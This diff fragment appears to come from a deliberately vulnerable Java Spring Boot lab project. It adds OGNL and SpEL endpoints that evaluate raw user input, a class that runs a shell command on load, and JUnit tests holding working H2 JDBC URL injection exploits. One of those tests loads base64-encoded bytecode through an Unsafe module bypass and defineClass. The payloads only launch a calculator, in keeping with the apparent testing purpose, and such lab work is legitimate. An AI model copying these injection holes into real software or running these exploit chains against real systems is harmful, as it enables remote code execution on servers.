||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import ognl.Ognl;
|
||||||
|
import ognl.OgnlContext;
|
||||||
|
import ognl.OgnlException;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/ognl")
|
||||||
|
public class OgnlController {
|
||||||
|
@RequestMapping
|
||||||
|
protected Object doPost(String data) {
|
||||||
|
OgnlContext context = new OgnlContext();
|
||||||
|
try {
|
||||||
|
return Ognl.getValue(data, context, context.getRoot());
|
||||||
|
} catch (OgnlException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/spel")
|
||||||
|
public class SpELController {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 10000 长度限制,无法使用
|
||||||
|
*/
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> spel(String data) {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
spring.application.name=vul-springboot3
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class CommandExec {
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
java.lang.Runtime.getRuntime().exec("open -a Calculator");
|
||||||
|
} catch (IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class JDBCTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String funcionName = "testJDBC";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
|
||||||
|
"String shellexec(String abc) throws java.lang.Exception{" +
|
||||||
|
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
|
||||||
|
"return \"test\"\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL " + funcionName + "('123')";
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC2() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Throwable{" +
|
||||||
|
"String base64Str=\"" + b64Bytecode + "\"\\;" +
|
||||||
|
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
"try {" +
|
||||||
|
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||||
|
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||||
|
" unsafeField.setAccessible(true)\\;" +
|
||||||
|
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||||
|
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||||
|
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||||
|
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||||
|
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||||
|
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||||
|
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||||
|
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||||
|
"} catch (Throwable e) {}" +
|
||||||
|
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
System.out.println(str);
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user